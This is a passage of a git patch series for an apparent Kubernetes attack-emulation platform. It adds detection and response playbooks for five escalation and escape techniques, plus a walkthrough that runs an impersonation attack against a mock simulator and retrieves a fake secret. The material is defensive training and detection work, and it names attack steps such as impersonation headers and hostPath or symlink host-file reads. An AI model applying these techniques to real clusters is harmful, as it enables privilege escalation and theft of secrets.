"DOCUMENTATION", + "color": "blue", + "url": "https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1069: Permission Groups Discovery", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + "url": "https://attack.mitre.org/techniques/T1069/", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1548: Abuse Elevation Control Mechanism", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + "url": "https://attack.mitre.org/techniques/T1548/", + }, ], "phase_count": 2, "estimated_duration_minutes": 10, diff --git a/emulations/k8s_writable_log_escape/MANIFEST.py b/emulations/k8s_writable_log_escape/MANIFEST.py index 91050b4..cd4edc0 100644 --- a/emulations/k8s_writable_log_escape/MANIFEST.py +++ b/emulations/k8s_writable_log_escape/MANIFEST.py @@ -1,6 +1,6 @@ """MANIFEST for k8s_writable_log_escape.""" MANIFEST = { - "schema_version": 2, + "schema_version": 3, "name": "k8s_writable_log_escape", "display_name": "K8s Writable /var/log Host Escape", "description": ( @@ -10,6 +10,8 @@ "tier": "enterprise", "platform": "k8s", "added": "2026-06", + "services": ["Kubelet", "Container Runtime"], + "readiness": {"type": "none"}, "origin": "unknown", "origin_label": "K8S EMULATION", "tags": ["Kubernetes", "Host Escape", "Symlink Abuse", "Writable Mount"], @@ -49,7 +51,30 @@ } ], "references": [ - {"icon": "#", "title": "Writable /var/log Host Escape", "source": "Sysdig Threat Research", "type": "DOCUMENTATION", "color": "orange"} + { + "icon": ">", + "title": "How to mitigate kubelet's CVE-2021-25741: Symlink exchange can allow host filesystem access", + "source": "Sysdig · sysdig.com", + "type": "REPORT", + "color": "orange", + "url": "https://sysdig.com/blog/cve-2021-25741-kubelet-falco/", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1609: Container Administration Command", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + "url": "https://attack.mitre.org/techniques/T1609/", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1611: Escape to Host", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + "url": "https://attack.mitre.org/techniques/T1611/", + }, ], "phase_count": 2, "estimated_duration_minutes": 10, From 451e3c823e5580d07fd14fb55441b3974e66c68f Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Mon, 29 Jun 2026 12:25:55 +0530 Subject: [PATCH 16/18] fix(k8s): add missing __init__.py and PLAYBOOK.md to all 5 k8s emulations --- emulations/k8s_external_ips_mitm/PLAYBOOK.md | 21 ++++++++++++++++ emulations/k8s_external_ips_mitm/__init__.py | 0 .../k8s_external_ips_mitm/infra/__init__.py | 0 emulations/k8s_pod_status_mitm/PLAYBOOK.md | 20 ++++++++++++++++ emulations/k8s_pod_status_mitm/__init__.py | 0 .../k8s_pod_status_mitm/infra/__init__.py | 0 emulations/k8s_pvc_psa_bypass/PLAYBOOK.md | 24 +++++++++++++++++++ emulations/k8s_pvc_psa_bypass/__init__.py | 0 .../k8s_pvc_psa_bypass/infra/__init__.py | 0 emulations/k8s_rbac_impersonation/PLAYBOOK.md | 22 +++++++++++++++++ emulations/k8s_rbac_impersonation/__init__.py | 0 .../k8s_rbac_impersonation/infra/__init__.py | 0 .../k8s_writable_log_escape/PLAYBOOK.md | 23 ++++++++++++++++++ .../k8s_writable_log_escape/__init__.py | 0 .../k8s_writable_log_escape/infra/__init__.py | 0 15 files changed, 110 insertions(+) create mode 100644 emulations/k8s_external_ips_mitm/PLAYBOOK.md create mode 100644 emulations/k8s_external_ips_mitm/__init__.py create mode 100644 emulations/k8s_external_ips_mitm/infra/__init__.py create mode 100644 emulations/k8s_pod_status_mitm/PLAYBOOK.md create mode 100644 emulations/k8s_pod_status_mitm/__init__.py create mode 100644 emulations/k8s_pod_status_mitm/infra/__init__.py create mode 100644 emulations/k8s_pvc_psa_bypass/PLAYBOOK.md create mode 100644 emulations/k8s_pvc_psa_bypass/__init__.py create mode 100644 emulations/k8s_pvc_psa_bypass/infra/__init__.py create mode 100644 emulations/k8s_rbac_impersonation/PLAYBOOK.md create mode 100644 emulations/k8s_rbac_impersonation/__init__.py create mode 100644 emulations/k8s_rbac_impersonation/infra/__init__.py create mode 100644 emulations/k8s_writable_log_escape/PLAYBOOK.md create mode 100644 emulations/k8s_writable_log_escape/__init__.py create mode 100644 emulations/k8s_writable_log_escape/infra/__init__.py diff --git a/emulations/k8s_external_ips_mitm/PLAYBOOK.md b/emulations/k8s_external_ips_mitm/PLAYBOOK.md new file mode 100644 index 0000000..e2a80cb --- /dev/null +++ b/emulations/k8s_external_ips_mitm/PLAYBOOK.md @@ -0,0 +1,21 @@ +# K8s External IPs Hijacking (CVE-2020-8554) — IR & Detection Playbook + +## Summary +Emulates CVE-2020-8554 where an attacker creates a Kubernetes Service with +arbitrary `externalIPs`, forcing cluster traffic to route to an attacker-controlled +container. Technique: T1557 (Adversary-in-the-Middle). + +## Detection +See detection rules in `detections/`: +- `sigma_t1557.yml` — Service creation with unexpected externalIPs +- `kql_t1557.kql` — KQL equivalent + +## Response +1. Identify the Service resource with suspicious `externalIPs` set. +2. Delete or patch the Service to remove the externalIPs field. +3. Review RBAC policies — restrict `create`/`patch` on Services to trusted principals. +4. Enable the `DenyServiceExternalIPs` admission controller to prevent recurrence. +5. Audit other Services in the cluster for unexpected externalIPs entries. + +## Revert +Handled by `pulumi destroy` (removes the attacker Service and supporting infra). diff --git a/emulations/k8s_external_ips_mitm/__init__.py b/emulations/k8s_external_ips_mitm/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/k8s_external_ips_mitm/infra/__init__.py b/emulations/k8s_external_ips_mitm/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/k8s_pod_status_mitm/PLAYBOOK.md b/emulations/k8s_pod_status_mitm/PLAYBOOK.md new file mode 100644 index 0000000..95e1bda --- /dev/null +++ b/emulations/k8s_pod_status_mitm/PLAYBOOK.md @@ -0,0 +1,20 @@ +# K8s MITM via Pod status.podIP Mutation — IR & Detection Playbook + +## Summary +Emulates a traffic interception attack where an attacker patches the +`status.podIP` of a target pod to redirect service traffic to an +attacker-controlled endpoint. Technique: T1557 (Adversary-in-the-Middle). + +## Detection +See detection rules in `detections/`: +- `sigma_t1557.yml` — Unexpected PATCH on pods/status subresource +- `kql_t1557.kql` — KQL equivalent + +## Response +1. Identify the pod whose `status.podIP` was modified. +2. Restart the affected pod to restore the original IP assignment. +3. Review RBAC — remove `patch` on `pods/status` from non-system principals. +4. Audit audit logs for other `pods/status` PATCH events by the same identity. + +## Revert +Handled by `pulumi destroy` (removes attacker pod and RBAC bindings). diff --git a/emulations/k8s_pod_status_mitm/__init__.py b/emulations/k8s_pod_status_mitm/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/k8s_pod_status_mitm/infra/__init__.py b/emulations/k8s_pod_status_mitm/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/k8s_pvc_psa_bypass/PLAYBOOK.md b/emulations/k8s_pvc_psa_bypass/PLAYBOOK.md new file mode 100644 index 0000000..06af719 --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/PLAYBOOK.md @@ -0,0 +1,24 @@ +# K8s PSA Bypass via PV Abuse — IR & Detection Playbook + +## Summary +Demonstrates bypassing baseline Pod Security Admission (PSA) by mounting +host-paths using raw PersistentVolume and PersistentVolumeClaims, then reading +sensitive host files from inside an otherwise unprivileged pod. +Techniques: T1211 (Exploitation for Defense Evasion), T1611 (Escape to Host). + +## Detection +See detection rules in `detections/`: +- `sigma_t1211.yml` — HostPath PV creation in baseline-restricted namespace +- `kql_t1211.kql` — KQL equivalent +- `sigma_t1611.yml` — Pod reading host filesystem paths +- `kql_t1611.kql` — KQL equivalent + +## Response +1. Identify PersistentVolumes with `hostPath` type bound to pods in restricted namespaces. +2. Delete the malicious PV/PVC pair and evict the pod. +3. Add a validating admission webhook that blocks `hostPath` PV creation for non-admin principals. +4. Upgrade PSA from `baseline` to `restricted` where workloads allow it. +5. Audit all existing PVs of type hostPath for unexpected bindings. + +## Revert +Handled by `pulumi destroy` (removes PV, PVC, pod, and namespace). diff --git a/emulations/k8s_pvc_psa_bypass/__init__.py b/emulations/k8s_pvc_psa_bypass/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/k8s_pvc_psa_bypass/infra/__init__.py b/emulations/k8s_pvc_psa_bypass/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/k8s_rbac_impersonation/PLAYBOOK.md b/emulations/k8s_rbac_impersonation/PLAYBOOK.md new file mode 100644 index 0000000..e8b1a3c --- /dev/null +++ b/emulations/k8s_rbac_impersonation/PLAYBOOK.md @@ -0,0 +1,22 @@ +# K8s RBAC Impersonation Privilege Escalation — IR & Detection Playbook + +## Summary +Simulates a Kubernetes attacker exploiting service accounts with `impersonate` +access rights to gain admin privileges. +Techniques: T1069 (Permission Groups Discovery), T1548 (Abuse Elevation Control). + +## Detection +See detection rules in `detections/`: +- `sigma_t1069.yml` — RBAC enumeration via auth can-i / SelfSubjectAccessReview +- `kql_t1069.kql` — KQL equivalent +- `sigma_t1548.yml` — API requests bearing Impersonate-User / Impersonate-Group headers +- `kql_t1548.kql` — KQL equivalent + +## Response +1. Identify the service account or user that holds the `impersonate` ClusterRole binding. +2. Remove or scope down the `impersonate` RBAC verb — restrict to specific target users only. +3. Audit audit logs for requests containing `Impersonate-User` or `Impersonate-Group` headers. +4. Review all ClusterRoleBindings granting `impersonate` across the cluster. + +## Revert +Handled by `pulumi destroy` (removes attacker service account and RBAC bindings). diff --git a/emulations/k8s_rbac_impersonation/__init__.py b/emulations/k8s_rbac_impersonation/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/k8s_rbac_impersonation/infra/__init__.py b/emulations/k8s_rbac_impersonation/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/k8s_writable_log_escape/PLAYBOOK.md b/emulations/k8s_writable_log_escape/PLAYBOOK.md new file mode 100644 index 0000000..15a5524 --- /dev/null +++ b/emulations/k8s_writable_log_escape/PLAYBOOK.md @@ -0,0 +1,23 @@ +# K8s Writable /var/log Host Escape — IR & Detection Playbook + +## Summary +Simulates host escape by utilizing a writable host log directory mount combined +with Kubelet log-retrieval permissions to read arbitrary host files via symlink. +Techniques: T1609 (Container Administration Command), T1611 (Escape to Host). + +## Detection +See detection rules in `detections/`: +- `sigma_t1609.yml` — Symlink creation inside a container targeting /var/log paths +- `kql_t1609.kql` — KQL equivalent +- `sigma_t1611.yml` — Kubelet log API access returning unexpected host file content +- `kql_t1611.kql` — KQL equivalent + +## Response +1. Identify the pod with a writable `/var/log` hostPath mount. +2. Immediately delete the pod and the associated DaemonSet or workload. +3. Remove the hostPath volume mount and redeploy with a non-host log path. +4. Restrict kubelet log API access — require cluster-admin or audit-only roles. +5. Audit other pods in the cluster for writable hostPath mounts to `/var/log`. + +## Revert +Handled by `pulumi destroy` (removes the pod, hostPath DaemonSet, and RBAC). diff --git a/emulations/k8s_writable_log_escape/__init__.py b/emulations/k8s_writable_log_escape/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/k8s_writable_log_escape/infra/__init__.py b/emulations/k8s_writable_log_escape/infra/__init__.py new file mode 100644 index 0000000..e69de29 From 23465a9eac46aec43e0666e996d505e83132ef23 Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Thu, 2 Jul 2026 11:44:25 +0530 Subject: [PATCH 17/18] fix(registry): skip dot-directories and demote no-MANIFEST warning to debug Co-Authored-By: Claude Sonnet 4.6 --- emulations/registry.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/emulations/registry.py b/emulations/registry.py index 2d9c46d..9e60c66 100644 --- a/emulations/registry.py +++ b/emulations/registry.py @@ -59,12 +59,12 @@ def discover() -> list[dict[str, Any]]: for subdir in sorted(package_dir.iterdir()): if not subdir.is_dir(): continue - if subdir.name.startswith("_") or subdir.name in _SKIP: + if subdir.name.startswith(("_", ".")) or subdir.name in _SKIP: continue manifest_file = subdir / "MANIFEST.py" if not manifest_file.exists(): - logger.warning("Skipping emulations.%s — no MANIFEST.py found", subdir.name) + logger.debug("Skipping emulations.%s — no MANIFEST.py found", subdir.name) continue try: From 01730d4b4dcf62e4b380bbcadf2054cde610ffd9 Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Fri, 3 Jul 2026 10:40:04 +0530 Subject: [PATCH 18/18] docs: add k8s RBAC impersonation walkthrough --- docs/k8s_rbac_impersonation-walkthrough.md | 173 +++++++++++++++++++++ 1 file changed, 173 insertions(+) create mode 100644 docs/k8s_rbac_impersonation-walkthrough.md diff --git a/docs/k8s_rbac_impersonation-walkthrough.md b/docs/k8s_rbac_impersonation-walkthrough.md new file mode 100644 index 0000000..f282df4 --- /dev/null +++ b/docs/k8s_rbac_impersonation-walkthrough.md @@ -0,0 +1,173 @@ +# k8s_rbac_impersonation — End-to-End Test Walkthrough + +Date: 2026-07-02 +Branch: `k8s_emulation` +Stack deployed to: `ap-south-1` + +--- + +## 1. Start the stack + +```bash +docker-compose up --build +``` + +Wait until the backend prints `Booting worker with pid: ...`. + +--- + +## 2. Create an enterprise user + +```bash +docker-compose exec backend python manage.py shell -c "from django.contrib.auth import get_user_model; User = get_user_model(); u = User.objects.create_user(username='testadmin1', email='test@test1.com', password='testpass123', is_active=True); u.is_enterprise = True; u.save(); print('Created:', u.username, '| enterprise:', u.is_enterprise)" +``` + +**Output:** +``` +Created: testadmin1 | enterprise: True +``` + +Then mark the user as verified (required by `IsEnterpriseUser` permission): + +```bash +docker-compose exec backend python manage.py shell -c "from django.contrib.auth import get_user_model; User = get_user_model(); u = User.objects.get(username='testadmin1'); u.is_verified = True; u.save(); print('is_verified:', u.is_verified)" +``` + +**Output:** +``` +is_verified: True +``` + +--- + +## 3. Get a JWT access token + +```powershell +$resp = Invoke-RestMethod -Method Post -Uri "http://localhost:8000/api/auth/login/" -ContentType "application/json" -Body '{"username": "testadmin1", "password": "testpass123"}' +$TOKEN = $resp.access +$TOKEN +``` + +**Output:** +``` +eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNz +gyOTk1OTcyLCJpYXQiOjE3ODI5OTIzNzIsImp0aSI6IjMyM2I5MmNmN2Q4YTQ0MGFiNTY4YjIzNGI0 +ZGJjYmE4IiwidXNlcl9pZCI6MTAsInVzZXJuYW1lIjoidGVzdGFkbWluMSIsImlzX3ZlcmlmaWVkIjp +mYWxzZSwiaXNfZGVtbyI6ZmFsc2UsImRlbW9fdXNlZCI6ZmFsc2UsImRlbW9fZXhwaXJlc19hdCI6bn +VsbCwiYXV0aF9tZXRob2QiOiJjcmVkZW50aWFscyJ9.4m3etem2az3YaMdXvwqyJUWHtwaeXMnNqa14 +M5MJsqc +``` + +--- + +## 4. Deploy the emulation stack + +```powershell +$deploy = Invoke-RestMethod -Method Post -Uri "http://localhost:8000/api/emulations/deploy/" -ContentType "application/json" -Headers @{Authorization="Bearer $TOKEN"} -Body '{"emulation_type": "k8s_rbac_impersonation", "stack_name": "k8s-rbac-test1"}' +$STACK_ID = $deploy.stackId +$deploy +``` + +**Output:** +``` +stackId stackName +------- --------- +2a6c19db-bcb7-4066-9090-2c39f5b7044b k8s-rbac-test1 +``` + +Pulumi provisions: VPC, subnet, internet gateway, route table, security group, EC2 (Amazon Linux 2023, t3.micro), Flask simulator on port 8080. + +--- + +## 5. Poll until ready + +```powershell +Invoke-RestMethod -Method Get -Uri "http://localhost:8000/api/stacks/$STACK_ID/" -Headers @{Authorization="Bearer $TOKEN"} +``` + +**Output (when ready, ~3 min):** +``` +id : 2a6c19db-bcb7-4066-9090-2c39f5b7044b +name : k8s-rbac-test1 +region : ap-south-1 +status : ready_for_attack +outputs : @{vuln_instance_ip=13.201.122.179} +owner : testadmin1 +emulation_type : k8s_rbac_impersonation +expires_at : 2026-07-02T13:42:21.998321Z +``` + +Status transitions: `deploying` → `ec2_booting` → `ready_for_attack` + +--- + +## 6. Trigger the attack + +```powershell +$run = Invoke-RestMethod -Method Post -Uri "http://localhost:8000/api/emulations/$STACK_ID/attack/" -Headers @{Authorization="Bearer $TOKEN"} -ContentType "application/json" +$RUN_ID = $run.runId +$run +``` + +**Output:** +``` +runId stackId +----- ------- +caa85015-26f4-4af4-92e4-8e8d499bb7e2 2a6c19db-bcb7-4066-9090-2c39f5b7044b +``` + +--- + +## 7. Poll the run result + +```powershell +Invoke-RestMethod -Method Get -Uri "http://localhost:8000/api/emulations/$RUN_ID/" -Headers @{Authorization="Bearer $TOKEN"} +``` + +**Output:** +``` +id : caa85015-26f4-4af4-92e4-8e8d499bb7e2 +stack : 2a6c19db-bcb7-4066-9090-2c39f5b7044b +emulation_type : k8s_rbac_impersonation +status : completed +phase_current : 0 +phase_total : 2 +stdout : [*] Waiting for simulator to become ready... + [+] Simulator is ready. + [*] Phase 1: Self Subject Rules Review (Permission Enumeration) + [+] Successfully queried SelfSubjectRulesReviews! + [+] Permissions returned: [{'apiGroups': ['*'], 'resources': ['serviceaccounts'], 'verbs': ['impersonate']}, {'apiGroups': + ['authorization.k8s.io'], 'resources': ['selfsubjectrulesreviews'], 'verbs': ['create']}] + [*] Phase 2: Attempting Privilege Escalation via Impersonation + [+] Privilege Escalation Successful! + [+] Retrieved Secret: {'items': [{'data': {'password': 'c3VwZXItc2VjcmV0LWszcw=='}, 'metadata': {'name': 'db-credential'}}]} +stderr : +started_at : 2026-07-02T11:46:10.182236Z +completed_at : 2026-07-02T11:46:10.419976Z +``` + +### Attack phases + +| Phase | Technique | Result | +|-------|-----------|--------| +| 1 | T1069 — Permission Groups Discovery via `SelfSubjectRulesReview` | Found `impersonate` verb on service accounts | +| 2 | T1548 — Abuse Elevation Control via `Impersonate-User: admin-sa` + `Impersonate-Group: system:masters` headers | Retrieved secret `db-credential` (`super-secret-k3s`) | + +--- + +## 8. Destroy the stack + +```powershell +Invoke-RestMethod -Method Post -Uri "http://localhost:8000/api/emulations/$STACK_ID/destroy/" -Headers @{Authorization="Bearer $TOKEN"} -ContentType "application/json" +``` + +Pulumi tears down all 7 resources. Stack DB record is deleted on success. + +--- + +## Notes + +- `IsEnterpriseUser` permission checks `is_verified=True` (not `is_enterprise`) — both flags must be set when creating test users via shell. +- The Flask simulator on the EC2 instance mocks the Kubernetes API; no real cluster is deployed. +- The secret password base64-decodes to `super-secret-k3s`. +- Total wall time deploy→attack→destroy: ~5 minutes. AWS cost per run: ~$0.01.